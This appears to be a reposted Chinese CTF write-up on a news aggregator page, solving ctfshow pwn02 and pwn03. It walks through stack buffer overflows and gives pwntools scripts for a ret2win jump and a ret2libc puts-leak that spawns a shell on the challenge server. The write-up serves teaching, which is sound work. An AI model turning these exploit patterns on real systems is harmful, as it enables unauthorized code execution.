新闻详情

新闻详情

首页 / 资讯中心 / 详情

ctfshow pwn02pwn03

发布时间:2026/9/4 21:06:47来源:尧图网络
ctfshow pwn02pwn03
一、工具准备参考BUUCTF之pwn前两题解析及错误分析由于老版的buuctf处于归档状态改为在ctfshow中练习二、题型解决与错误分析1.pwn02将stack下载用IDA打开获取信息根据地址信息可知本次是32位的题目。地址显示方式参考BUUCTF之pwn前两题解析及错误分析易错提示刚开始确实容易把偏移量当作4*148来写攻击脚本但是往下分析发现主函数中不存在缓冲区数组没有gets/scanf等易溢出函数所以漏洞不在main函数中。而且主函数中只会输出没有输入读取的功能。之后发现跳转到pwnme函数后才结束所以漏洞很可能在pwnme函数中分析pwnme函数风险分析1.由图中的32h可知fgets允许读取最大长度为502.buf起点是edp - 9一共13字节943.通过分析可知栈上实际能用来存储的空间只有9字节却给fgets传了50字节存在栈溢出的风险由此可知偏移量为13找后门函数地址在stack函数中所有数据找到后写攻击脚本from pwn import * premote(pwn.challenge.ctf.show,28292) backdoor0x08048518 offset13 payloadbA*offsetp32(backdoor) p.sendline(payload) p.interactive()在虚拟机上运行得到flag2.pwn03下载stack1并用IDA打开主函数分析主函数中也是有相应的输出但是没有输入空间是完全安全的所以需要对pwnme函数进行分析查找漏洞。分析pwnme函数本题的风险与上题相同故可知偏移量为9413找后门函数注意在本题中没有明显的后门函数名称分析题型1.无后门函数属于标准的ret2libc题型2. 观察发现函数名称后面带有 .plt 后缀这表明它是 PLTProcedure Linkage Table表项。在 ELFExecutable and Linkable Format文件中PLT 无法独立工作在动态链接模式下必须与 GOTGlobal Offset Table协同配合。利用这种机制我们可以泄露 libc 中函数的真实地址进而计算出 libc 的基址。3.可用泄露函数puts,程序导入了puts适合做信息泄露排除法fgets作用是读取_libc_start_main作用是启动函数setvbuf作用是设置输入缓冲简单对应关系可做区分1.putsplt代码段里的跳板函数用来跳转到 GOT 取值2.putsgot数据段内存地址存放 puts 在 libc 里的绝对地址3.GLIBC_xx仅符号版本修饰不属于 PLT / GOT 标记。寻找关键地址1.puts_plt所以puts_plt0x080483802.puts_gotjmp ds::off就是GOT表项的符号对应地址puts_got0x0804A0103.main函数起始地址的首地址为0x080484DF写脚本from pwn import * io remote(pwn.challenge.ctf.show, 28257) # 题目固定地址 puts_plt 0x08048380 puts_got 0x0804A010 main 0x080484DF payload1 bA * 13 p32(puts_plt) p32(main) p32(puts_got) io.sendline(payload1) # 核心匹配两次换行精准跳过垃圾输出不会卡死不会漏读 io.recvuntil(b\n\n) # 只读4字节puts真实地址 leak u32(io.recv(4)) libc_base leak - 0x067360 sys libc_base 0x03cd10 binsh libc_base 0x17b8cf payload2 bA * 13 p32(sys) p32(0) p32(binsh) io.sendline(payload2) io.interactive()在虚拟机上运行得flag
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

App Store 4.3拒审破解指南:从诊断到差异化整改的实操路径 2026/9/5 11:07:42

App Store 4.3拒审破解指南:从诊断到差异化整改的实操路径

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
AI辅助3D网页游戏开发:Opus 5与Codex实战指南 2026/9/5 11:07:42

AI辅助3D网页游戏开发:Opus 5与Codex实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
Java SSM校园失物招领系统实战:毕业设计落地全链路 2026/9/5 11:07:42

Java SSM校园失物招领系统实战:毕业设计落地全链路

简介:这是一套面向计算机类专业本科生的高分毕业设计实战资源,聚焦校园失物招领场景,融合微信小程序前端与Java后端开发,解决高校师生物品遗失寻回效率低、信息不对称等实际问题,亦适合作为课程设计或期末大作业参考。…

阅读更多 →
工业视觉测量实战:从OpenCV算法到深度学习融合的完整解决方案 2026/9/5 11:07:42

工业视觉测量实战:从OpenCV算法到深度学习融合的完整解决方案

简介:本资源为中国机器人大赛先进视觉赛项中‘工业测量’赛题的完整参赛实现方案,面向人工智能、自动化、电子信息等专业的高校学生、教师及科研人员,适用于毕业设计、课程设计、项目立项演示与视觉算法工程化学习。压缩包共1088个文件&#…

阅读更多 →
量化数据开发实战系列(第 8 篇):强势股池数据实战:新高、量比、涨速指标的二次计算 2026/9/5 11:07:42

量化数据开发实战系列(第 8 篇):强势股池数据实战:新高、量比、涨速指标的二次计算

量化数据开发实战系列(第 8 篇):强势股池数据实战:新高、量比、涨速指标的二次计算 前言 第 7 篇完成涨停、跌停股池的采集清洗入库与市场情绪统计。本篇接入强势股池接口,强势股池返回当日表现较强个股原始明细&#…

阅读更多 →
Qt+MySQL股票管理系统开发实战:从架构设计到部署调试 2026/9/5 11:04:41

Qt+MySQL股票管理系统开发实战:从架构设计到部署调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞